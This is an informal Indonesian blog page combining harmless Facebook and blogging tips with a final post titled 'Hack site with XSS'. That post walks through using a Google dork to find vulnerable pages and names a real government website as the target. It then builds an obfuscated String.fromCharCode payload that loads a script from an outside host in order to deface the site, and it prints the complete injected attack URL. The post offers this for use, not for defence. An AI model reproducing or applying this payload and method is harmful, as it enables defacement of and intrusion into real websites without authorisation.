Update Stat With Real Blackberry

Ngiri Lihat status teman anda di Facebook Via Blackberry??
Pingin beli HP BB.. but ndak punya duit..
tenang sob... ad solusinya kok.. kita main manipulasi dari url facebook saja...
OK dah langsung dari pade ente nabung buat beli HP BB, pake cara ini aj..



OK lets try
1. Log in Facebook anda
2. open newtab or new window pada browser anda
3. CoPas Url ini pada tab or window yg baru saja anda open di browser anda

http://www.facebook.com/connect/prompt_feed.php?api_key=2254487659

4. silahkan ketik status anda.. trs klik Terbitkan..

Lihat Contoh pada SS berikut :

Cara Memasukan Code HTML pada Postingan Blog Anda

Mungkin pembaca pernah mengalami saat mau posting sebuah threat or tutor pada postingan anda. Tapi dalam Postingan pembaca terdapat beberapa code Tag HTML..
pas saat anda klik tombo enu pada page entri anda ternyata keluar sebuah warning bahwa.. postingan anda terdapat sebuah tag HTML yang di Block..
Wah pasti pembaca merasa kecewa sekali...

waits jAngan delete postingan anda dolo... coba cara ini...

1. Open this web http://www.blogcrowds.com/resources/parse_html.php
2. CoPas script HTML anda di pada box yang tersedia
3. klik Parse
4. Have funs... skrng script HTML anda sduah bisa di masukan k postingan anda...

see U.. Thx 4 read.....

Make Bold Text In your sTat FaceBook

Bikin status anda dan wall ke teman anda dengan text bold
credit By : aKa Joy Crazydavinci
Go to app : http://www.facebook.com/Bold.Text?v=wall
rate this app : http://www.facebook.com/Bold.Text?v=app_6261817190

contoh :

Hack site with XSS

lets try this step
1. Open google
2. try this dork inurl:/news.php?id=
3. masukin dork tadi k searh google n enter
4. maka akan keluar banyak website hasil search google dengan memakai dork tadi
5. pilih beberapa webiste... ex arrow http://www.bakorkamla.go.id/
6. hasil dari searh pake dork tersebut saya menemukan bisa injek xss pada page ini arrow http://www.bakorkamla.go.id/news.php?id=595



seep sekarang tinggal nyoba cari injeksnya dimana
1. ada xss yang bisa di injeks melalui url n pada bagian search
2. ada xss yang bisa di injeks pada bagian search engine dari webtersebut
3. n ada website yang bisa di injeks melalui box coment,box buku tamu n all (yang penting intinya jika padasebuah website tersebut suport tag html, klw saa pribadi n juga hasil pembeljaran yang di ajrin barada suarabaya getar haxor cor kocor bocor,, xixixii,,, saya ngetest nya dengan tag Html seperti ini test n coba lihat hasilnya apabila tulisan tersebut hasilnya test menjadi tebal atau bold
so itu artinya web tersebut bisa kita injek xss.. n jika berhasil itu nmnya kata2 empu2 yang ajrin saya nmnya XSS Persistent


ok saya rasa cukup dengan keterangan di atas, mari kita lanjut dengan hasil yang saya dapat tadi pada halaman web ini http://www.bakorkamla.go.id/news.php?id=595

coba perhatikan websitenya ...
1. tidak ada Box coment or sebuah box untk memungkinkan seorang Viewer web untuk meninggalkan komentar..
2. coba kita lihat pada box searh pada website tersebut.. juga gak ada..
3. ok sepertinya jalan satu satunya coba kita injeks pada bagian url..

nah lo crnya gmn??? ok kita bahas crnya :
1. sediakan sebuah halaman deface kamu misalnya dalam bentuk html or php.
ex arrow http://nama hostinga kamu .php or html
2. sekarang bukak http://www.wocares.com/noquote.php
3. masukin url php or html deface kamu k script ini
4. copas tadi k web ini http://www.wocares.com/noquote.php
5. centang bagian Javascript (String.fromCharCode, unescape) n klik submit

ok maka qm akan mendapatkan hasil dari generate js qm tadi seperti ini

<script id=Alexrockr>document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,111,99,111,110,103,46,110,111,97,100,115,46,98,105,122,47,120,115,115,46,112,104,112,34,62,60,47,115,99,114,105,112,116,62));</script>

ok sekarang mari kita coba injeks pada bagian urlnya..

copas hasil geberate tadi k bagian paling belakang dari website tersebut, n jangan lupa di tambahkan token seperti ini ' or "
dengan dilanjutkan dengan hasil generate tadi n tekan ENTER pada keyboard Mu
maka jadinya seperti ini

http://www.bakorkamla.go.id/news.php?id=595%27%3Cscript%20id=Alexrockr%3Edocument.write%28String.fromCharCode%2860,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,111,99,111,110,103,46,110,111,97,100,115,46,98,105,122,47,120,115,115,46,112,104,112,34,62,60,47,115,99,114,105,112,116,62%29%29;%3C/script%3E

seep berhasil,, nah itu nmnya xss none persitent, bgtho kata aKa
surabaya getar saaat saya bertapa sama beliau.. hehehe seep segitu aj
dari saya saat ini,mohon maap dengan segala kekurangan,